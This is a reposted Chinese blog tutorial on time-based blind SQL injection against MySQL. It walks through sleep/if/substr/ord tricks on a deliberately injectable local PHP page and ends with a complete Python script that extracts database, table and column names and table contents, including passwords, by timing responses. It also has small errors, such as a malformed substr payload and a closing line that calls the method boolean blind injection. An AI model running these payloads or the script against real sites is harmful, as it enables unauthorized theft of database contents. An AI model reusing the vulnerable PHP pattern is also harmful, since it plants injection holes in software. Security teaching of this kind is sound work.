SQL注入原理-时间盲注

这篇具有很好参考价值的文章主要介绍了SQL注入原理-时间盲注。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

        小伙伴们大家好!本期为大家带来的是SQL注入原理之时间盲注。

目录

使用环境

常见函数与语句

sleep()函数

if语句

substr()函数

ord()函数 

length()函数 

实战演示

1、判断是否存在注入点

2、使用时间盲注爆出数据

1、爆出当前数据库名的长度

2、爆出数据库名长度

3、爆出表名、字段名以及表中数据


使用环境

        有的网站页面,在我们输入参数后,我们我们传入的参数使得后端SQL语句正确与否,页面都没有任何明显的变化,这就让我们很难判断,页面是否存在注入点,并且后端也没有使用报错函数来爆出错误信息,这样的话就非常的头疼。

        这到底应该怎么做呢?这时我们可以使用时间盲注来通过页面的响应时间来判断是否存在输入点,并且跟进下一步的操作。

        时间盲注就是通过拼接if语句,构造我们判断的条件,根据条件的结果返回sleep()函数,使得页面的响应时间比正常的响应时间长,这样我们就可以一步一步的爆出我们想要的数据。

常见函数与语句

sleep()函数

sleep函数可以让程序停止执行一段指定的时间。

使用形式sleep(time)

参数time:需要睡眠的时间(单位秒)

例如在MySQL中执行下面语句:

select sleep(3);

SQL注入原理-时间盲注

MySQL显示,执行语句使用了3秒。 

if语句

if语句跟excel的if语句比较类似,也是给出条件,如果条件正确返回一种结果,否则返回另一种结果。

使用形似if(condition, reslut1, result2)

参数condition:给出的条件,类型为bool类型

参数result1:如果condition为true,则返回result1

参数result2:如果condition为false,则返回result2

例如:

select if(1=2,'true','false');

SQL注入原理-时间盲注

substr()函数

substr()函数是截取字符串的函数。

使用形式substr(string,start,length)

参数string :被截取的字符串

参数start :截取的起始位置

参数length :从截取位置截取的长度

使用下面语句体验一下substr()的功能。

select substr("administrator",2,5);

SQL注入原理-时间盲注

ord()函数 

ord()函数是返回一个字符的ASCII码。

使用形式:ord(character)

参数character:为单个字符,如果是字符串的话,则只按照字符串的第一个字符计算。

例如:

select ord('a');

SQL注入原理-时间盲注

select ord('ab');

 SQL注入原理-时间盲注

length()函数 

length()函数是否返回一个字符串的长度。

使用形式为length(string)

参数string :为需要输出其长度的字符串。

例如:

select length('abcdefg');

SQL注入原理-时间盲注

实战演示

源码:

<?php

    // 连接数据库
    $coon = mysqli_connect("127.0.0.1","root","root","test",3306);
    error_reporting(0);

    if (isset($_GET['id'])) {
        // 接受传来的参数id
        $id = @$_GET['id'];
        // 执行的SQL语句
        $sql = "select id,username,password,phone,e_mail from guests where id=$id limit 0,1";
        $res = mysqli_query($coon, $sql);
        $row = mysqli_fetch_array($res);

        if ($row) {

            echo "<center><br/>";
            echo "<h1>You have successfully passed a parameter as the ID!</h1>";
            echo "</center>";
        }else{
            echo "<center></br>";
            echo "<h1>You have successfully passed a parameter as the ID</h1>";
            echo "</center>";
        }
    } else {
        echo "<center><br/>";
        echo "<h1>Please input a value as id!</h1>";
        echo "</center>";
    }

SQL注入原理-时间盲注

1、判断是否存在注入点

我们还是正常的构造payload:

http://127.0.0.1/opsql/sql11.php?id=1 and 1=2

SQL注入原理-时间盲注

 SQL注入原理-时间盲注

发现无论是and 1=1 还是and 1=2页面的回显都一样。尝试加入单引号,看是否为字符型注入。

http://127.0.0.1/opsql/sql11.php?id=1' and 1=2--+

SQL注入原理-时间盲注

 SQL注入原理-时间盲注

页面回显依然都一样,尝试了其他的符号闭合,也是无济于事啊。

这可咋办呢?

这时我们就大胆地使用一下时间盲注了。

构造payload:“http://127.0.0.1/opsql/sql11.php?id=1 and if(1=1,sleep(5),null)”

http://127.0.0.1/opsql/sql11.php?id=1 and if(1=1,sleep(5),null)

这里呢为了显示出相应的时间,我是使用的burpsuite来抓包,使用重发器来测试的。

SQL注入原理-时间盲注

说明存在注入点,我们可以使用时间盲注来爆出所需要的数据。

2、使用时间盲注爆出数据

1、爆出当前数据库名的长度

构造payload:“http://127.0.0.1/opsql/sql11.php?id=1 and if(length(database())=3,sleep(5),null) ”

http://127.0.0.1/opsql/sql11.php?id=1 and if(length(database())=3,sleep(5),null) 

SQL注入原理-时间盲注

SQL注入原理-时间盲注

length(database())=3时响应时间只有2毫秒,length(database())=4时,响应时间为5.018秒,说明当前数据库的长度为4。

我们还可以构造payload:“http://127.0.0.1/opsql/sql11.php?id=1 and if(length((select schema_name from information_schema.schemata limit 0,1))=18,sleep(5),null)”

information_schema数据库是MySQL5.0之后自带的数据库,infomation_schema数据下的schemata表存储了所有数据库名,information_schema数据库下的tables表存储了所有的表名,information_schema数据库下的columns表存储了所有的字段名。limit num1,num2 的作用使用显示查询结果索引为num1后num2个数据。例如payload中的limit 0,1 就是取查询结果中索引为0位置后1个数据。   

通过增大num1的值来取出其他的数据库名进行判断其长度。

http://127.0.0.1/opsql/sql11.php?id=1 and if(length((select schema_name from information_schema.schemata limit 0,1))=18,sleep(5),null)

SQL注入原理-时间盲注

我们也可以使用group_concat(),来判断查询结果中总的长度。

group_concat() 可以将我们查询到的数据用“,”拼接起来。

        构造payload:“http://127.0.0.1/opsql/sql11.php?id=1 and if(length((select group_concat(schema_name) from information_schema.schemata ))=18,sleep(5),null)”

http://127.0.0.1/opsql/sql11.php?id=1 and if(length((select group_concat(schema_name) from information_schema.schemata ))=18,sleep(5),null)

SQL注入原理-时间盲注

2、爆出数据库名长度

还是构造payload:

“http://127.0.0.1/opsql/sql11.php?id=1 and if(substr(database()='t',1,1),sleep(5),null)”

http://127.0.0.1/opsql/sql11.php?id=1 and if(substr(database()='t',1,1),sleep(5),null)

当前数据库的第一个字符如果为“t”,响应时间就会变长。

SQL注入原理-时间盲注

然后慢慢的增加长度

SQL注入原理-时间盲注

通过响应时间判断,当前数据库名的长度为test。

我们还可以使用ord()函数来判断库名的某个字符的ascii码值,最后通过对照ascii码表来爆出数据库名。

payload:

“http://127.0.0.1/opsql/sql11.php?id=1 and if(ord(substr(database(),1,1))=116,sleep(5),null)”

http://127.0.0.1/opsql/sql11.php?id=1 and if(ord(substr(database(),1,1))=116,sleep(5),null)

SQL注入原理-时间盲注

页面响应时间为5.017秒,说明当前数据库名的第一个字符的ascii码值为116,查找ascii码得知,ascii码值为116的是字母“t”,这样我们就可以慢慢的一步一步的爆出数据库名了。

3、爆出表名、字段名以及表中数据

其实当我们能够爆出数据库名的时候,表名和字段名以及数据都已经不在话下了,只是时间问题,因为的表名或者字段名以及数据都特别的长。这时候我们不能傻傻的一个字符一个字符的在那里手工的猜解,我们可以尝试写一段脚本代码,让代码来替我们猜解。

这里我是用python写的,由于我们使用的sleep()函数,运行可能会需要一点时间。

代码:

import requests

baseURL = "http://127.0.0.1/opsql/sql11.php"


def get_databases():
    """
    获取所有的数据库名
    :return:
    """
    databases_length = 0
    for num in range(0, 500):
        payload = f"?id=1 and if(length((select group_concat(schema_name) from information_schema.schemata))={num},sleep(5),null)"
        try:
            requests.get(url=baseURL + payload, timeout=1)
        except:
            databases_length = num
            break
    databases_name = ""
    for pos in range(1, databases_length + 1):
        for num in range(0, 255):
            payload = f"?id=1 and if(ord(substr((select group_concat(schema_name) from information_schema.schemata),{pos},1))={num},sleep(5),null)"
            try:
                requests.get(url=baseURL + payload, timeout=2)
            except:
                databases_name += chr(num)
                break
    print(databases_name)


def get_database():
    """
    获取当前的数据库名
    :return:
    """
    database_length = 0
    for num in range(0, 100):
        payload = f"?id=1 and if(length(database())={num},sleep(5),null)"
        try:
            requests.get(url=baseURL + payload, timeout=1)
        except:
            database_length = num
            break
    database_name = ""
    for pos in range(1, database_length + 1):
        for num in range(0, 255):
            payload = f"?id=1 and if(ord(substr(database(),{pos},1))={num},sleep(5),null)"
            try:
                requests.get(url=baseURL + payload, timeout=2)
            except:
                database_name += chr(num)
    print(database_name)


def get_tables(table_schema):
    """
    获取指定数据库下的所有表名
    :param table_schema: 指定数据库
    :return:
    """
    tables_length = 0
    for num in range(0, 1000):
        payload = f"?id=1 and if(length((select group_concat(table_name) from information_schema.tables where table_schema='{table_schema}'))={num},sleep(5),null)"
        try:
            requests.get(url=baseURL + payload, timeout=1)
        except:
            tables_length = num
    tables_name = ""
    for pos in range(1, tables_length + 1):
        for num in range(0, 255):
            payload = f"?id=1 and if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='{table_schema}'),{pos},1))={num},sleep(5),null)"
            try:
                requests.get(url=baseURL + payload, timeout=2)
            except:
                tables_name += chr(num)
                break
    print(tables_name)


def get_columns(table_schema, table_name):
    """
    获取指定数据库下指定表中的所有字段名
    :param table_schema: 指定数据库
    :param table_name: 指定表
    :return:
    """
    columns_length = 0
    for num in range(0, 1000):
        payload = f"?id=1 and if(length((select group_concat(column_name) from information_schema.columns where table_schema='{table_schema}' and table_name='{table_name}'))={num},sleep(5),null)"
        try:
            requests.get(url=baseURL + payload, timeout=1)
        except:
            columns_length = num
            break
    columns_name = ""
    for pos in range(1, columns_length + 1):
        for num in range(0, 255):
            payload = f"?id=1 and if(ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='{table_schema}' and table_name='{table_name}'),{pos},1))={num},sleep(5),null)"
            try:
                requests.get(url=baseURL + payload, timeout=2)
            except:
                columns_name += chr(num)
                break
    print(columns_name)


def get_data(table_schema, table_name, *column):
    """
    获取表中的数据
    :param table_schema: 指定数据库名
    :param table_name: 指定表名
    :param column: 指定字段名
    :return:
    """
    column_length = len(column)
    data_length = []
    for index in range(column_length):
        for num in range(0, 10000):
            payload = f"?id=1 and if(length((select group_concat({column[index]}) from {table_schema}.{table_name}))={num},sleep(5),null)"
            try:
                requests.get(url=baseURL + payload, timeout=1)
            except:
                data_length.append(num)
                break

    data = []
    for index in range(column_length):
        data_item = ""
        for pos in range(1, data_length[index] + 1):
            for num in range(0, 255):
                payload = f"?id=1 and if(ord(substr((select group_concat({column[index]}) from {table_schema}.{table_name}),{pos},1))={num},sleep(5),null)"
                try:
                    requests.get(url=baseURL + payload, timeout=2)
                except:
                    data_item += chr(num)
                    break
        data.append(data_item)
    # 打印数据
    print("*" * 50)
    for index in range(column_length):
        print(f"{column[index]}", end="\t")
    print()
    data_item = []
    for index in range(column_length):
        data_item.append(data[index].split(","))
    for index in range(column_length):
        for item in data_item:
            print(f"{item[index]}", end="\t")
        print()
    print("*" * 50)


if __name__ == '__main__':
    get_databases()  # 获取所有的数据库名
    # get_database()  # 获取当前的数据库名
    # get_tables("test")  # 获取指定数据库下的所有表名
    # get_columns("test", "users")  # 获取指定数据库下指定表中的所有字段名
    # get_data("test", "users", "id", "username", "password")  # 获取表中的数据

运行截图:

爆出所有的数据库名

SQL注入原理-时间盲注

爆出当前的数据名:

SQL注入原理-时间盲注 爆出指定数据库下的所有表名:

SQL注入原理-时间盲注

爆出表下的所有字段: 

SQL注入原理-时间盲注

爆出表中的所有数据:

SQL注入原理-时间盲注由于是时间盲注,所需的时间会比布尔盲注花费的时间更长一点。

OK这样我们就一步一步的通过代码利用布尔盲注得到了test数据库下users表中的所有数据。

对于其他的数据库,大家只需要改一改函数的参数就行了,剩下的任务就交给小伙伴们了!文章来源地址https://www.toymoban.com/news/detail-409506.html

到了这里,关于SQL注入原理-时间盲注的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • DVWA——SQL注入+盲注

    目的:执行特定sql语句,获得其他相关内容。 攻击方式:动态构造SQL语句 影响:数据库的脱裤、修改、甚至影响到操作系统。 漏洞原理:直接使用原始sql语句,没有代码审查 漏洞利用: 步骤1:判断是否存在注入漏洞: 步骤2:判断当前表字段个数?:通过order by 排序字段

    2024年02月07日
    浏览(48)
  • SQL注入实战:盲注

    1、当攻击者利用SQL注入漏洞进行攻击时,有时候web应用程序会显示,后端数据库执行SQL查询返回的错误信息,这些信息能帮助进行SQL注入,但更多时候,数据库没有输出数据web页面,这是攻击者会查询一系列的true或false问题,或者基于时间判断的问题,强制从数据库获取数据

    2024年01月24日
    浏览(52)
  • 【SQL注入-布尔盲注】

    布尔型盲注应用于无数据回显,且WEB页面无报错信息的情况,此时不能通过报错型注入的方法来爆出数据,布尔型盲注的WEB页面只有两种回显结果,正确的页面以及错误的页面,且错误的页面无报错提示语句,正确的页面不能输出数据。 演示环境 phpStudy + mysql + sqlilabs 源码分

    2024年02月06日
    浏览(45)
  • DVWA之sql注入——盲注

    1.1 布尔盲注 布尔很明显的Ture跟Fales,也就说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错 信息。 1.判断是否存在注入,注入的类型 不管输入框输入为何内容,页面上只会返回以下2种情形的提示: 满足查询条件则返回\\\"User ID exists in the database.\\\",不满足查询

    2024年02月05日
    浏览(53)
  • DVWA 之 SQL注入(非盲注)

    步骤: 1.判断是否存在注入,注入是字符型还是数字型 2.猜解SQL查询语句中的字段数 3.确定显示的字段顺序 4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.下载数据 输入1,查询成功: 输入1’and ‘1’ =’2,查询失败,返回结果为空: 输入1’or ‘1 ’=’1,查询

    2024年02月04日
    浏览(42)
  • 【SQL注入漏洞-04】布尔盲注靶场实战

    当我们改变前端页面传输给后台sql参数时,页面没有显示相应内容也没有显示报错信息时,不能使用联合查询注入和报错注入,这时我们可以考虑是否为基于布尔的盲注。 利用页面返回的布尔类型状态,正常或者不正常; 我们输入的语句让页面呈现出两种状态,相当于true和

    2023年04月16日
    浏览(57)
  • 延时盲注技术:SQL 注入漏洞检测入门指南

    部分数据来源: ChatGPT  环境准备 引言         在网络安全领域中,SQL 注入漏洞一直是常见的安全隐患之一。它可以利用应用程序对用户输入的不恰当处理,导致攻击者能够执行恶意的 SQL 查询语句,进而获取、修改或删除数据库中的数据。为了帮助初学者更好地理解和

    2024年02月10日
    浏览(47)
  • 29、WEB攻防——通用漏洞&SQL注入&增删改查&盲注&延迟&布尔&报错

    概念:在注入过程中,获取的数据不能回显至前端页面,此时我们需要利用一些方法进行判断或尝试,这个过程被称为盲注。 解决:常规的联合查询注入不行的情况。 分类: 基于布尔的SQL盲注,逻辑判断。 /blog/news.php?id=1 and if(1=1,sleep(5),0) 基于时间的SQL盲注,延时判断。

    2024年01月20日
    浏览(52)
  • 帝国cms高危SQL注入漏洞(盲注)系统自带RepPIntvar过滤函数使用方法

    帝国cms源码开发的时候很多时候要用到$_GET过来的参数,在处理的时候如果不严谨容易被发现利用,给系统整体安全带来影响。 帝国cms系统本身有自带了过滤函数RepPIntvar,传递过来的字段加上过滤可以给安全加分。 错误的写法: $title = $_GET[\\\'id\\\'] ; 未经过滤存在SQL注入漏洞风

    2024年02月04日
    浏览(60)
  • SQL Injection (Blind)之盲注(原理、分类、利用)

    在SQL注入过程中,SQL语句执行后,选择的数据不能回显到前端页面,此时需要利用一些方法进行判断或者尝试,这个过程称之为盲注。 在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响 应时间不同)。一般情况下,盲注可分为两类:

    2024年02月04日
    浏览(74)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包